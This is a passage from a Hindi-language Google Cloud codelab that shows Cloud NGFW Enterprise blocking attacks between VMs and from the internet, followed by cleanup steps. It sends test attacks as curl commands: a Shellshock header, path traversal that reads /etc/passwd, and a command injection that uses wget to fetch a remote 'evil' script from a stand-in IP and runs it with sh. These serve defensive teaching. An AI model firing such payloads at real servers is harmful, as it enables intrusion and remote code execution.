--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

इसके अलावा, फ़ायरवॉल के नियमों के बारे में बताएं, ताकि यह पुष्टि की जा सके कि दोनों को अपडेट कर दिया गया है:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

अनुमानित आउटपुट:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

नियम 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

अनुमानित आउटपुट:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

क्लाइंट VM पर वापस स्विच करें और आंतरिक सर्वर आईपी (ईस्ट-वेस्ट / इंटर-वीपीसी जांच) पर, हमले के सैंपल फिर से भेजें:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Cloud NAT (नॉर्थ-साउथ इनबाउंड जांच) की मदद से, बाहरी सर्वर आईपी पर हमले के सैंपल फिर से भेजें:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

नीचे दिए गए अनुमानित आउटपुट के मुताबिक, पहले हमले के लिए कोई जवाब नहीं मिला. इससे यह पुष्टि होती है कि गंभीर हमले अब ब्लॉक किए जा रहे हैं.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

लॉग की पुष्टि करने के लिए, Cloud Console पर नेटवर्क सुरक्षा > खतरे पर जाएं. अगर हमले अब तक नहीं दिख रहे हैं, तो आपको कुछ बार रीफ़्रेश करना पड़ सकता है.

daa535fcc34873aa.png

किसी एक हमले को चुनें और दाईं ओर मौजूद "ऑडिट लॉग देखें" पर क्लिक करें. आसानी से वापस जाने के लिए, इसे नए टैब में खोलें. जानकारी दिखाने के लिए, हमले को बड़ा करें:

5f97cdef79e42eff.png

इसके अलावा, लॉग एक्सप्लोरर फ़िल्टर को नीचे दी गई क्वेरी से बदलें:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

खतरे के लॉग की एंट्री इस तरह दिखनी चाहिए:

5ea9581a7eb694c5.png

क्लाउड फ़ायरवॉल से इंटरसेप्ट किए गए पैकेट की पुष्टि, नीचे दिए गए लॉग एक्सप्लोरर फ़िल्टर का इस्तेमाल करके की जा सकती है. यह समस्या हल करने में मददगार होता है:

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

इंटरनेट ट्रैफ़िक की जांच जारी रखें (ज़रूरी नहीं) या एसएसएच सेशन बंद करें और क्लीन-अप के तरीके जानने के लिए अगले चैप्टर पर जाएं.

[ज़रूरी नहीं] इंटरनेट ट्रैफ़िक की जांच करना

पिछले सेक्शन में पुष्टि की गई है कि अब तक जिन फ़्लो की जांच की गई है वे इंटर-सबनेट/VPC (ईस्ट-वेस्ट) और इंटरनेट से आने वाला ट्रैफ़िक (नॉर्थ-साउथ इनबाउंड) हैं. Cloud Shell का इस्तेमाल करके, नया एक्सग्रेस नियम बनाकर, Cloud NGFW Enterprise को सभी इंटरनेट ट्रैफ़िक (नॉर्थ-साउथ आउटबाउंड) की जांच करने के लिए भी कॉन्फ़िगर किया जा सकता है:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

क्लाइंट वीएम पर वापस स्विच करें और बाहरी सर्वर आईपी पर गंभीर हमले फिर से भेजें:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

अनुमानित आउटपुट:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

लॉग की पुष्टि करने के लिए, Cloud Console पर 'खतरे' टैब पर स्विच करें. इसके लिए, आपको कुछ बार रीफ़्रेश करना पड़ सकता है. हमले की पहचान हो जानी चाहिए और उन्हें फिर से लॉग किया जाना चाहिए. हालांकि, अब सोर्स आईपी इंटरनल है, क्योंकि पहले एक आउटगोइंग रूल ट्रिगर हो रहा है:

36f8edf264dcddcd.png

एसएसएच सेशन बंद करें और क्लीन-अप करने के तरीके के लिए अगले सेक्शन पर जाएं.

8. खाता मिटाने का तरीका

Cloud NGFW Enterprise के कॉम्पोनेंट को हटाना

Cloud NGFW Enterprise के मौजूदा असोसिएशन की सूची:

gcloud network-security firewall-endpoint-associations list

Cloud NGFW Enterprise असोसिएशन मिटाएं:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Cloud NGFW Enterprise के मौजूदा एंडपॉइंट की सूची:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Cloud NGFW Enterprise एंडपॉइंट मिटाएं. इसमें करीब 20 मिनट लग सकते हैं:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

नीचे दिया गया निर्देश चलाकर, पुष्टि करें कि Cloud NGFW Enterprise मिटा दिया गया है:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

सुरक्षा प्रोफ़ाइल ग्रुप और खतरे से बचाव करने वाली प्रोफ़ाइल मिटाएं:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

बेस सेटअप को खाली करना

अगर आपको बुनियादी संसाधन मिटाने हैं, तो अगले चरण पर जाएं.

अगर ज़रूरी हो, तो एनवायरमेंट वैरिएबल तय करें. Cloud Shell में जाकर, नेटवर्क लोड बैलेंसर कॉम्पोनेंट मिटाएं:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

इंस्टेंस हटाएं:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

इसके अलावा, अगर tagAdmin और tagUsers की भूमिकाएं बदली गई हैं, तो नीचे दिया गया तरीका अपनाएं:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

टैग की और वैल्यू हटाएं:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Cloud फ़ायरवॉल नेटवर्क नीति और असोसिएशन मिटाएं:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

क्लाउड राऊटर और क्लाउड एनएटी मिटाएं:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

रिज़र्व किए गए आईपी पते मिटाना:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

आखिर में, सबनेट और वीपीसी नेटवर्क मिटाएं:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. बधाई हो!

बधाई हो, आपने ईस्ट-वेस्ट और नॉर्थ-साउथ इंस्पेक्शन के लिए Cloud NGFW Enterprise कोडलैब को पूरा कर लिया है.